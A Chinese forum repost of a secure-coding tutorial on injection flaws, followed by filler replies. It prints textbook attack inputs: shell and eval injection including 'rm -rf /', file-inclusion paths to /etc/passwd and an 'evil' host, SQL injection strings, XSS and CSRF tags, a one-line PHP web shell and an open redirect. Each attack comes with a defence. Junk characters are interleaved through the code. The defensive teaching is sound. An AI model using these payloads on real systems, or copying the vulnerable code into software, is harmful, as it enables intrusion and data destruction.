123下一页
返回列表 发新帖

程序员疫苗:代码注入

9,190.5k 42
DeGe 发表于 2013-6-8 15:46:15|湖北 | 查看全部 阅读模式

几个月在我的微博上说过要建一个程序员疫苗网站,希望大家一起来提交一些错误示例的代码,来帮助我们新入行的程序员,不要让我们的程序员一代又一代的再重复地犯一些错误。很多程序上错误就像人类世界的病毒一样,我们应该给我们的新入行的程序员注射一些疫苗,就像给新生儿打疫苗一样,希望程序员从入行时就对这些错误有抵抗力。

我的那个疫苗网站正在建议中(不好意思拖了很久),不过,我可以先写一些关于程序员疫苗性质的文章,也算是热热身。希望大家喜欢,先向大家介绍第一注疫苗——代码注入。

Shell注入

我们先来看一段perl的代码:

[size=1em]
[size=1em]1
- Q$ W  ^$ M6 Z2 ?
[size=1em]2
. n; m; ^( [6 j1 f" {- g, h
[size=1em]3

& w) f% g5 `1 P6 p! t4 C
[size=1em]4

# D+ m, E$ S, G7 w
[size=1em]5

# r" k5 o% k: ?$ A# T6 Y3 ^, y% O
[size=1em]6

9 N# p( \" u3 T' G0 X0 c
[size=1em]7
( m8 g+ x6 M& v
[size=1em]8

/ ~1 M2 l  u% M, Y" A! u4 l7 N
[size=1em]9

) X; ^, x- n* P$ `( c/ K- t2 Y7 M
[size=1em]10
5 ~% R" _6 x- _. q
[size=1em]11

5 M: r: A& I. |4 Y0 b
[size=1em][size=1em]use CGI qw(:standard);* {' ]$ X8 b' r  {" Z
[size=1em]$name = param('name');
6 P$ f) y( o6 Y/ S[size=1em]$nslookup = "/path/to/nslookup";
1 P9 D; F! b7 p: ~/ J2 j[size=1em]print header;& o# p  z% i" t- {7 H
[size=1em]if (open($fh, "$nslookup $name|")) {( Z% ~3 W; J: _. k
[size=1em]    while (<$fh>) {
! v- `# U8 S' n! O[size=1em]        print escapeHTML($_);
; R2 X0 U, Y) f! Y[size=1em]        print "<br>\n";
' I0 N; K- D+ F1 A/ P3 R  D[size=1em]    }4 R) ?; h- I, s" J$ A
[size=1em]    close($fh);+ N  o' C- y: d1 A* H( v5 o% x
[size=1em]}* b* U3 x  M  `$ U2 y
! _+ l) V6 H, c

0 v, S2 x* A7 s: _4 `7 [

! y' r6 t# @3 y

如果用户输入的参数是:

[size=1em]
[size=1em]1

3 X8 p. `/ }! x9 _
[size=1em][size=1em]coolshell.cn%20%3B%20/bin/ls%20-l' U1 t' Y2 A! K3 |7 G+ w
1 K  ~: G2 v0 q( g1 p" [' y6 T/ L

5 ?1 D; g9 N# l( u, e
! h1 j( T" B+ \" V; V+ v

那么,这段perl的程序就成了:


' C5 ^* l7 N- U4 \[size=1em]
[size=1em]1
# v- o8 ?8 W; X9 d  \
[size=1em][size=1em]/path/to/nslookup coolshell.cn ; /bin/ls -l( A& r8 v+ G2 N

6 E* q1 X# Q( u
# S% n+ d( e2 E. S0 W

) t- n( x0 k+ r' Y/ d2 k

我们再来看一段PHP的程序:

[size=1em]
[size=1em]1
# U" W% G: o% A% S, }3 k1 h- D1 {
[size=1em]2

1 p  R; a2 G- y- l
[size=1em]3
% n, p1 Z5 A$ m5 B) |# F9 b
[size=1em][size=1em]$myvar = 'somevalue';, [+ |6 {2 ?9 N/ n6 W- m
[size=1em]$x = $_GET['arg'];
  N, I, [, u8 @5 l- M! H[size=1em]eval('$myvar = ' . $x . ';');5 E( n# y( @& w1 [* n

  h$ F! c1 O3 l- O$ w7 P& m3 E1 T

. y. S' I, ?# E2 v2 C: i

: ~' u) j- C, |' b8 M

eval“的参数将会视同PHP处理,所以额外的命令可被添加。例如:如果”arg”如果被设成”10; system('rm -rf /')“,后面的”system('rm -rf /')“代码将被运行,这等同在服务器上运行开发者意料外的程序。(关于rm -rf /,你懂的,可参看“一个空格引发的悲剧”)

再来看一个PHP的代码

[size=1em]
[size=1em]1
# X( p& D' V- \$ N+ o0 A+ |4 e5 s
[size=1em]2

1 F1 H, B5 U8 n- C. O
[size=1em]3
8 w  X+ u* l5 y6 r+ Y/ }2 X
[size=1em]4

3 U8 t6 Y, G2 ?: }+ e: `5 _
[size=1em]5

. R  g) S+ r( }9 z. [
[size=1em]6
% e" C3 T6 O  R6 |- P, v; {1 F
[size=1em][size=1em]$isadmin= false;
0 j5 N' O" D$ }' [: D! O  V* I. K[size=1em]...
! w6 C6 f" r, F[size=1em]...5 D6 ?3 f, v6 I: M
[size=1em]foreach ($_GET as $key => $value) {% G! B. }0 I; K( L% p; M' G
[size=1em]  $$key = $value;
4 x- p3 Z9 ?) N% c[size=1em]}/ @3 ?4 T  `6 V/ k) d
' D2 Q; v4 M& S
. i8 |. `* J' H) {

1 \( K7 q- q. c8 k

如果攻击者在查询字符串中给定”isadmin=1″,那$isadmin将会被设为值 “1″,然后攻击值就取得了网站应用的admin权限了。

再来看一个PHP的示例:

[size=1em]
[size=1em]1

2 |; a; Y5 u% F# ~& D! [' R5 G
[size=1em]2

8 j% V  m* f! @
[size=1em]3

8 k4 W/ C( s  R% F% @' J+ B
[size=1em]4

7 x6 w1 I; _) `; f6 E2 d
[size=1em][size=1em]$action = 'login';) ~% U4 g9 d( E% E
[size=1em]   if (__isset( $_GET['act'] ) )1 `) ?7 T" n' f; ^
[size=1em]      $action = $_GET['act'];4 B+ I7 T0 I7 _; |5 W; G
[size=1em]   require( $action . '.php' );
5 ?/ K+ @2 j% i3 x. l
  n' p4 i4 C: B: @7 w7 }+ X
# a0 g& Q. f7 t5 c% V. [

3 a  o0 k, q! T

这个代码相当危险,攻击者有可能可以干这些事:

  • /test.php?act=http://evil/exploit - 注入远程机器上有漏洞的文件。
  • /test.php?act=/home/www/bbs/upload/exploit - 从一个已经上载、叫做exploit.php文件运行其代码。
  • /test.php?act=../../../../etc/passwd%00 - 让攻击者取得该UNIX系统目录检索下密码文件的内容。一个使用空元字符以解除.php扩展名限制,允许访问其他非 .php 结尾文件。 (PHP默认值”magic_quotes_gpc = On”可以终止这种攻击)
    . c1 K: |3 \; j% F

这样的示例有很多,只要你的程序有诸如:system()StartProcess()java.lang.Runtime.exec()System.Diagnostics.Process.Start()以及类似的应用程序接口,都是比较危险的,最好不要让其中的字符串去拼装用户的输入。

PHP提供escapeshellarg()escapeshellcmd()以在调用方法以前进行编码。然而,实际上并不建议相信这些方法是安全的 。

SQL注入

SQL injection,是发生于应用程序之数据库层的安全漏洞。简而言之,是在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了检查,那么这些注入进去的指令就会被数据库服务器误认为是正常的SQL指令而运行,因此遭到破坏。

在应用程序中若有下列状况,则可能应用程序正暴露在SQL Injection的高风险情况下:

  • 在应用程序中使用字符串联结方式组合SQL指令(如:引号没有转义)。
  • 在应用程序链接数据库时使用权限过大的帐户(如:很多开发人员都喜欢用sa(最高权限的系统管理员帐户)连接Microsoft SQL Server数据库)。
  • 在数据库中开放了不必要但权力过大的功能(例如在Microsoft SQL Server数据库中的xp_cmdshell延伸预存程序或是OLE Automation预存程序等)
  • 过于信任用户所输入的数据,未限制输入的字符数,以及未对用户输入的数据做潜在指令的检查。
    " v" M2 e( i3 ]

例程:

某个网站的登录验证的SQL查询代码为

[size=1em]
[size=1em]1

6 j! h3 b+ M/ _) f" A. C' N
[size=1em]2
, O7 F# ^+ b1 z
[size=1em][size=1em]strSQL = "SELECT * FROM users
+ g* U3 }9 H1 W/ ?: ^[size=1em]WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"
3 w* B9 \7 u8 x6 x: G4 ^+ k
/ J2 Z0 J  m( b, l( w& _/ h8 A
! Z" B. z2 D! }" i* y0 Z- s- h: p

0 S+ v" H5 s. y+ q8 F- n

用户在登录时恶意输入如下的的用户名和口令:

[size=1em]
[size=1em]1

, l5 A% x) N9 Y
[size=1em][size=1em]userName = "' OR '1'='1";* S7 }$ N& f) m9 t& f

( T+ k8 v/ u) U" Z( z; j

6 b3 A1 h! J3 b, i8 \3 n& c8 E
$ ~; h" h( ~/ v6 e( }8 Z
[size=1em]
[size=1em]1

/ G6 h6 b/ u% n
[size=1em][size=1em]passWord = "' OR '1'='1";
5 G& f$ N" G' i) |. l3 \! v0 T" S3 o; c9 H( x$ Y
6 z# A/ D- ^1 T8 m- G$ v
0 A0 ]+ N' q+ K3 r

此时,将导致原本的SQL字符串被解析为:

[size=1em]
[size=1em]1
2 ^3 n# x6 T( N/ K- r1 ^+ Q* b8 \
[size=1em]2

+ f+ v7 Y3 t3 {- _9 J- G
[size=1em][size=1em]strSQL = "SELECT * FROM users
* r4 C6 m; r1 N[size=1em]WHERE (name = '' OR '1'='1') and (pw = '' OR '1'='1');"
8 z. ^* D! x( v* {; d' h% G  N  N! ^) t& V* i, _

) p8 m# t. c5 K/ d4 y( J+ W7 Y
3 O- W1 x5 z- K- o, y

也就是实际上运行的SQL命令会变成下面这样的,因此导致无帐号密码,也可登录网站。

[size=1em]
[size=1em]1

3 z3 p) R0 s4 U& u- {8 |* }+ y: D7 A
[size=1em][size=1em]strSQL = "SELECT * FROM users;"" U1 `$ l# J# p! W5 u

% \  G6 h& G& x  D' N
( q0 x  T3 z6 q4 ?4 k+ h

% }! L$ u) c; F) ]% R1 o5 ^' s; \

这还不算恶劣的,真正恶劣的是在你的语句后再加一个自己的语句,如:

[size=1em]
[size=1em]1
% ]/ D7 t% l3 b/ P8 a  s
[size=1em][size=1em]username= "' ; DELETE FROM users; --";
5 J; }  Q5 n1 `* M7 i2 T1 F" U: p: |2 x8 i
6 ]0 I8 f7 o) [- |+ Z8 Z

8 v$ Q7 l, P( }5 D8 p' Z

这样一来,要么整个数据库的表被人盗走,要么被数据库被删除。

所以SQL注入攻击被俗称为黑客的填空游戏。你是否还记得酷壳新浪微博的XSS攻击》一文。XSS攻击是程序员有一糊涂就很容易犯的错误,你还可以看看网上的《腾讯微博的XSS攻击》。

XSS攻击在论坛的用户签档里面(使用img标签)也发生过很多次,包括像一些使用bcode的网站,很有可能会被注入一些可以被浏览器用来执行的代码。包括CSS都有可能被注入javascript代码。

另外,XSS攻击有一部分是和浏览器有关的。比如,如下的一些例子,你可能从来都没有想过吧?(更多的例子可以参看酷壳很早以前的这篇文章《浏览器HTML安全列表

[size=1em]
[size=1em]1
1 L+ P' `% y% a
[size=1em]2
6 d2 V3 ?7 g: D0 g$ _6 N# K
[size=1em]3

; k$ j( D! X3 D0 r
[size=1em]4

, {: x+ x3 S3 {
[size=1em]5

) F. k) _/ u, H+ y( t2 Z
[size=1em][size=1em]<table background=”javascript:alert(1)”>& L& ^! @/ H; @$ A8 ^4 A
: o1 X$ r* a  F9 ~' }  a1 f/ x
[size=1em]<meta charset=”mac-farsi”>&#188;script&#190;alert(1)&#188;/script&#190;8 ~1 ^' w" |9 n% g0 y8 t

( ~4 H% c! E0 S7 G! O7 `" s7 d( a[size=1em]<img src=”javascript:alert(1)”>
7 a8 d7 v/ h7 |5 u; t2 _
8 S: j- X1 Y% g3 }- v) W, p! _

: J1 C) s$ O3 S7 Z% V: _

( m1 P  S" M# a: m# o: Y5 X0 j; D: ~

XSS攻击通常会引发CSRF攻击。CSRF攻击主要是通过在A站上设置B站点上的链接,通过使用用户在B站点上的登录且还没有过期的cookie,从而使得用户的B站点被攻击。(这得益于现在的多Tab页的浏览器,大家都会同时打开并登录很多的网站,而这些不同网站的页面间的cookie又是共享的)

于是,如果我在A站点内的某个贴子内注入这么一段代码:

[size=1em]
[size=1em]1

$ J; R1 ], O" k" `
[size=1em][size=1em]<img src="[color=blue !important][size=1em]http://bank.example.com/transfer?account=XXX&amount=1000000&for=haoel"># n, A' @9 C" r- V0 }
% t! x$ A2 y4 ]; b

' H' w- O  U+ O9 q4 l2 c

( M1 Q- K& L4 g' B

很有可能你就在访问A站的这个贴子时,你的网银可能向我转了一些钱。

如何避免

要防止XSS攻击,一般来说有下面几种手段:

  • 严格限制用户的输入。最好不要让用户输入带标签的内容。最好不要让用户使用一些所见即所得的HTML编辑器。- A& @% ]' x5 n' g' A
  • 严格过滤用户的输入。如:
    • PHP的htmlentities()或是htmlspecialchars()或是strip_tags()
    • Python的cgi.escape()
    • ASP的Server.HTMLEncode()
    • Node.js的node-validator。
    • Java的xssprotect
      4 o5 G5 o: n2 B! }0 d  [" u9 u$ U  P# {

    " H4 R  [3 X0 A' w! w1 S
  • 在一些关键功能,完全不能信任cookie,必需要用户输入口令。如:修改口令,支付,修改电子邮件,查看用户的敏感信息等等。
    ' h7 S2 e! I' C
  • 限制cookie的过期时间。
    " U% l3 [' N& O0 d& V
  • 对于CRSF攻击,一是需要检查http的reference header。二是不要使用GET方法来改变数据,三是对于要提交的表单,后台动态生成一个随机的token,这个token是攻击者很难伪造的。(对于token的生成,建议找一些成熟的lib库)
    $ c0 V& Y, h. }4 C" _) K

另外,你可能觉得网站在处理用户的表单提交就行了,其实不是,想一想那些Web Mail,我可以通过别的服务器向被攻击用户发送有JS代码、图片、Flash的邮件到你的邮箱,你打开一看,你就中招了。所以,WebMail一般都禁止显示图片和附件,这些都很危险,只有你完全了解来源的情况下才能打开。电子邮件的SMTP协议太差了,基本上无法校验其它邮件服务器的可信度,我甚至可以自己建一个本机的邮件服务器,想用谁的邮件地址发信就用谁的邮件地址发信所以,我再次真诚地告诉大家,请用gmail邮箱。别再跟我说什么QQMail之类的好用了。

上传文件

上传文件是一个很危险的功能,尤其是你如果不校验上传文件的类型的话,你可能会中很多很多的招,这种攻击相当狠。试想,如果用户上传给你一个PHP、ASP、JSP的文件,当有人访问这个文件时,你的服务器会解释执行之,这就相当于他可以在你的服务器上执行一段程序。这无疑是相当危险的。

举个例子:

[size=1em]上传页面
[size=1em]1
' p& z# [) a) O. z' j: a. i0 E2 y7 m
[size=1em]2
& F* }/ e/ {4 F( R. F+ u! r, I( F
[size=1em]3

4 y% S8 K6 \' X6 D8 E! Q4 @  p; m7 V+ n/ i2 U
[size=1em]4
( t+ l2 S4 n; f
[size=1em]5
7 b/ i5 Z: P1 {3 _
[size=1em]6

0 n8 J( H; h+ Z& y0 o
[size=1em][size=1em]<form action="upload_picture.php" method="post" enctype="multipart/form-data">+ u% @  y( C! [* J: {3 X
[size=1em]要上传的文件:
9 f9 e: Z3 m4 ~" P# n5 l0 b7 `[size=1em]<input type="file" name="filename"/>
& y9 S5 Z6 N& x% i+ m+ W$ c[size=1em]<br/>7 y* l4 [4 J, Y& l5 `9 \2 [
[size=1em]<input type="submit" name="submit" value="Submit"/>
+ ~1 l" f, k) T- G4 Y[size=1em]</form>* m1 G9 u, K: W/ ?

, w% B# E. X9 w( b% d

+ _- H8 Y- |/ X0 E4 U# E: D# B
[size=1em]后台上传文件的PHP程序
[size=1em]1

; Q" G3 e3 r# K$ R# q* l
[size=1em]2
/ K7 S" N/ t8 C9 i
[size=1em]3

* w9 N5 a# B( E* O
[size=1em]4

3 I: l* o  q8 i" L
[size=1em]5

1 L; z6 r2 M$ t$ Q# m* J. P. \: F9 d
[size=1em]6
, ?7 Z/ ?# Q4 F! v+ J1 o; }
[size=1em][size=1em]$target = "pictures/" . basename($_FILES['uploadedfile']['name']);9 b9 h0 i) Q9 {9 N9 d2 o/ G9 {6 u# u
[size=1em]if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target)){/ e0 R6 d$ P) v) A0 ~: e
[size=1em]    echo "图片文件上传成功";
7 f+ i- q; a' L4 U1 _  [/ X[size=1em]}else{</div>
, O) ^0 F  |+ {1 x1 M. P) Z[size=1em]    echo "图片文件上传失败";) I6 M# p; C( m4 D# X% x* X! F( Z
[size=1em]}
# B5 b+ S( a1 R& s" o+ \5 w4 @0 ~1 K' C8 h& U0 c

) G+ I/ ^* g( u1 G( s
( y# P1 F1 S9 O/ V* ^

假如我上传了一个PHP文件如下:

[size=1em]文件名malicious.php
[size=1em]1

9 L. \- W+ m/ }8 u. V3 P  w
[size=1em]2

# o- j6 h" m/ B! |4 C+ h, i
[size=1em]3

! r+ c! |5 N& C& \) U; H
[size=1em][size=1em]<?php
( l( `, C9 B8 d' d[size=1em]system($_GET['cmd']);
- ?3 z' f) D1 w3 ]( P[size=1em]?>" i4 c) v2 q2 i$ W* s
0 C( n' P1 V/ z: c, e

2 k, f) ^: o8 U* O9 _
$ E+ i% Z9 K) A! n

那么,我就可以通过如下的URL访问攻击你的网站了:

[size=1em]
[size=1em]1
; u1 O0 z( }, G' J7 ]
[size=1em][size=1em]http://server.example.com/upload_dir/malicious.php?cmd=ls%20-l
) a$ Y7 G+ N  ]: T; m& H+ Z5 \0 Z
; |. ?: X: S& u1 B8 Y0 A  h. t1 R6 p5 S4 E

3 L: P0 e. T- o) _; h+ H

抵御这样的攻击有两种手段:

1)限制上传文件的文件扩展名。

2)千万不要使用root或Administrator来运行你的Web应用。

URL跳转

URL跳转很有可能会成为攻击利用的工具。

比如下面的PHP代码:

[size=1em]
[size=1em]1
7 b9 A( g7 p7 Y- Q
[size=1em]2

8 z9 U. N& q0 e! e; @4 W2 G1 P
[size=1em][size=1em]$redirect_url = $_GET['url'];
* ~5 o9 X% n0 F7 s2 k4 V! e1 q- f' c9 j[size=1em]header("Location: " . $redirect_url);
, E) \" f+ z+ r
" w  j! ~4 r  d
- f) |/ I( [0 }+ F1 W4 B
4 A2 x1 D" \4 m8 K6 I" Y

这样的代码可能很常见,比如当用户在访问你的网站某个页观的时候没有权限,于是你的网站跳转到登录页面,当然登录完成后又跳转回刚才他访问的那个页面。一般来说,我们都会在跳转到登录页面时在URL里加上要被跳转过去的网页。于是会出现上述那样的代码。

于是我们就可以通过下面的URL,跳转到一个恶意网站上,而那个网站上可能有一段CSRF的代码在等着你,或是一个钓鱼网站。

. }  y  n8 o* _) N
[size=1em]
[size=1em]1

, Z6 L& D7 B. A% N
[size=1em][size=1em]http://bank.example.com/redirect?url=http://attacker.example.net
' Q( W/ T" U9 V; `
8 E+ ]; S' f) D& L; Z
, u, D5 {3 k& ]

/ h/ E( D1 H2 b' ?

这种攻击具有的迷惑性在于,用户看到的http://bank.example.com以为是一个合法网站,于是就点了这个链接,结果通过这个合法网站,把用户带到了一个恶意网站,而这个恶意网站上可能把页面做得跟这个合法网站一模一样,你还以为访问的是正确的地方,结果就被钓鱼了

解决这个问题很简单,你需要在你的后台判断一下传过来的URL的域名是不是你自己的域名。

你可以看看Google和Baidu搜索引擎的链接跳转,百度的跳转链接是被加密过的,而Google的网站链接很长,里面有网站的明文,但是会有几个加密过的参数,如果你把那些参数移除掉,Google会显示一个重定向的提醒页面。(我个人觉得还是Google做得好)

回复|共 42 个

lxtzf Lv.7 发表于 2014-10-2 07:38:40|广东 | 查看全部
顶你一下,好贴要顶!
- U9 A  p( Z# W/ @  k6 x% L8 l$ r% k; |

& L+ _2 w  B. l
1 ^, m$ G, ^& ~! C) b" R8 F: i! l3 I+ H: Q' ^% j% K, g+ X

- i% ^8 U, V" y% n8 [& W* b; m# Y9 H! e' v- T6 s9 I- H2 k- W

: Y9 h  A' e: `2 N# j8 E+ a9 J' k. E
; e8 o5 T& g0 h/ ]
7 a' F3 |$ N3 `% W

5 Z! p6 Z3 q8 |3 ^) o
5 D+ S' ?0 X: C, [/ h* U0 S8 [' S$ X
                               
登录/注册后可看大图
0 y; S  h2 d& z6 T! V/ K" L. j5 Q
SAA15V7A电源适配器3 T' M; \, I- A1 t. U
               
* y( q; L3 r# q& }5 M" x3 X% n8 W
$ L- N1 K! S  R  Q, d
9 l1 ]9 E: Y- n) O& f) V       
apgckwmm Lv.8 发表于 2014-9-29 17:23:56|Reserved | 查看全部
嘿嘿......哈哈......呵呵.....哟~呼
kbcesuo Lv.8 发表于 2014-9-29 17:44:59|印度 | 查看全部
还没崇拜过谁呢,满足一下愿望吧,谢谢!
apgckwmm Lv.8 发表于 2014-9-29 17:54:55|加拿大 | 查看全部
经过你的指点 我还是没找到在哪 ~~~
kwjvtwzx Lv.15 发表于 2014-10-15 13:54:13|美国 | 查看全部
下次有人骂我了...我给他还回去..
inhidgehila Lv.8 发表于 2014-10-15 14:09:20|美国 | 查看全部
女人啊真是那句话~~~无理占三分~~忘记怎么说了 呵呵 ~~你帮我想想
xiaoye Lv.9 发表于 2014-10-15 14:12:29|INNA | 查看全部
来电来函..欢迎洽购...
kwjvtwzx Lv.15 发表于 2014-10-15 14:21:20|亚太地区 | 查看全部
@,@..是什么意思呀?
jckie Lv.8 发表于 2014-10-15 14:45:56|Reserved | 查看全部
(⊙o⊙)…好长啊,我虽然回复不了那么多字,但十五字还是有的。
efiew Lv.15 发表于 2014-10-17 21:35:59|美国 | 查看全部
~~~~哼..哼..哼...
uhxidjjr Lv.8 发表于 2014-10-17 21:36:51|北京 | 查看全部
你这样的表现,就只配这几个字:窝囊废
xiaoye Lv.9 发表于 2014-10-17 21:43:51|欧洲和中东地区 | 查看全部
唉!猪!你怎么了?
inhidgehila Lv.8 发表于 2014-10-17 22:02:15|美国 | 查看全部
哈 你逗逗他啊
apgckwmm Lv.8 发表于 2014-10-17 22:25:15|IANA | 查看全部
还没崇拜过谁呢,满足一下愿望吧,谢谢!

回复

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

得知互动是一个融创意、设计、开发、营销、生活、互联网于一体的专业交流分享平台。
Copyright © 2026 得知互动-专注Ai与站长技术交流社区-Ai交流平台 版权所有 All Rights Reserved. Powered by Discuz! X5.0 鄂ICP备15006301号-5|鄂公网安备 42018502006730号
关灯 在本版发帖 扫一扫添加QQ客服 返回顶部
快速回复 返回顶部 返回列表